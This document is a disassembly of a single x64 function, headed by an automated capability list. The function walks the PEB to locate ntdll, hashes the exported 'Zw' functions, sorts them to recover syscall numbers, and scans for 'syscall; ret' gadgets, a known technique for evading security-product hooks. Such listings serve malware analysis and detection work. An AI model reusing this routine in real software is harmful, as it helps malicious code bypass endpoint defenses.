Function at 0x180001cb0
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
cmp dword [0x180009a40], 0
mov r12d, 1
jne 0x180001f2c
mov rax, qword gs:[0x60]
xor edx, edx
mov rcx, qword [rax + 0x18]
mov r8, qword [rcx + 0x10]
mov rax, qword [r8 + 0x30]
test rax, rax
je 0x180001f4b
mov r10d, 0x20202020
mov r9, rax
movsxd rax, dword [rax + 0x3c]
mov ecx, dword [rax + r9 + 0x88]
test ecx, ecx
je 0x180001d36
lea rdx, [r9 + rcx]
mov ecx, dword [rdx + 0xc]
mov eax, dword [rcx + r9]
or eax, r10d
cmp eax, 0x6c64746e
jne 0x180001d36
mov eax, dword [rcx + r9 + 4]
or eax, r10d
cmp eax, 0x6c642e6c
je 0x180001d42
mov r8, qword [r8]
mov rax, qword [r8 + 0x30]
test rax, rax
jne 0x180001cff
test rdx, rdx
je 0x180001f4b
mov edi, dword [rdx + 0x1c]
lea r13, [0x180009a40]
mov r11d, dword [rdx + 0x20]
add rdi, r9
mov esi, dword [rdx + 0x24]
add r11, r9
mov ebx, dword [rdx + 0x18]
add rsi, r9
xor edx, edx
lea eax, [rbx - 1]
mov r8d, dword [r11 + rax*4]
mov ebx, eax
add r8, r9
mov r14d, eax
mov eax, 0x775a
cmp word [r8], ax
jne 0x180001dd1
xor ebp, ebp
mov r10d, 0x1337c0de
cmp byte [r8], bpl
je 0x180001daf
mov rax, r8
movzx eax, word [rax]
mov ecx, r10d
ror ecx, 8
add ebp, r12d
add ecx, eax
mov eax, ebp
add rax, r8
xor r10d, ecx
cmp byte [rax], 0
jne 0x180001d94
mov ecx, edx
add edx, r12d
add rcx, rcx
mov dword [r13 + rcx*8 + 8], r10d
movzx eax, word [rsi + r14*2]
mov eax, dword [rdi + rax*4]
mov dword [r13 + rcx*8 + 0xc], eax
cmp edx, 0x226
je 0x180001dd5
test ebx, ebx
jne 0x180001d6a
xor r8d, r8d
mov dword [0x180009a40], edx
lea eax, [rdx - 1]
test eax, eax
je 0x180001e4b
mov eax, edx
xor ecx, ecx
sub eax, r8d
cmp eax, r12d
je 0x180001e40
lea ebx, [rcx + 1]
mov r11d, ecx
add r11, r11
mov r10d, ebx
add r10, r10
mov esi, dword [r13 + r11*8 + 0xc]
mov edi, dword [r13 + r10*8 + 0xc]
cmp esi, edi
jbe 0x180001e32
mov ecx, dword [r13 + r11*8 + 8]
mov eax, dword [r13 + r10*8 + 8]
mov dword [r13 + r11*8 + 8], eax
mov dword [r13 + r10*8 + 8], ecx
mov dword [r13 + r11*8 + 0xc], edi
mov dword [r13 + r10*8 + 0xc], esi
mov edx, dword [0x180009a40]
mov eax, edx
mov ecx, ebx
sub eax, r8d
sub eax, r12d
cmp ebx, eax
jb 0x180001df1
add r8d, r12d
lea eax, [rdx - 1]
cmp r8d, eax
jb 0x180001de5
mov r11d, dword [0x180009a5c]
lea eax, [rdx - 1]
sub r11d, dword [0x180009a4c]
xor edi, edi
test eax, eax
je 0x180001f2c
mov word [rsp + 0x28], 0x50f
lea r10d, [r11 - 2]
movzx r14d, word [rsp + 0x28]
mov dl, 0xc3
mov ebp, edi
xor ecx, ecx
add rbp, rbp
mov ebx, dword [r13 + rbp*8 + 0xc]
add rbx, r9
test r10d, r10d
je 0x180001ea5
mov eax, ecx
add rax, rbx
cmp r14w, word [rax]
jne 0x180001e9d
cmp dl, byte [rax + 2]
je 0x180001f14
add ecx, r12d
cmp ecx, r10d
jb 0x180001e8d
mov r8d, r12d
mov edx, r11d
xor ecx, ecx
imul edx, r8d
test r10d, r10d
je 0x180001eff
mov esi, edx
mov eax, ecx
add rax, rsi
add rax, rbx
cmp r14w, word [rax]
jne 0x180001ed6
mov r13b, 0xc3
cmp r13b, byte [rax + 2]
lea r13, [0x180009a40]
je 0x180001f12
add ecx, r12d
cmp ecx, r10d
jb 0x180001eb8
xor ecx, ecx
mov eax, ecx
sub rax, rdx
add rax, rbx
cmp r14w, word [rax]
jne 0x180001ef7
mov sil, 0xc3
cmp sil, byte [rax + 2]
je 0x180001f46
add ecx, r12d
cmp ecx, r10d
jb 0x180001ee0
add r8d, r12d
cmp r8d, 0x226
jb 0x180001ea8
lea rax, [0x180002290]
mov dl, 0xc3
mov qword [r13 + rbp*8 + 0x10], rax
add edi, r12d
mov eax, dword [0x180009a40]
dec eax
cmp edi, eax
jb 0x180001e79
mov eax, r12d
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
pop r14
pop r13
pop r12
pop rdi
ret
mov dl, sil
jmp 0x180001f14
xor eax, eax
jmp 0x180001f2f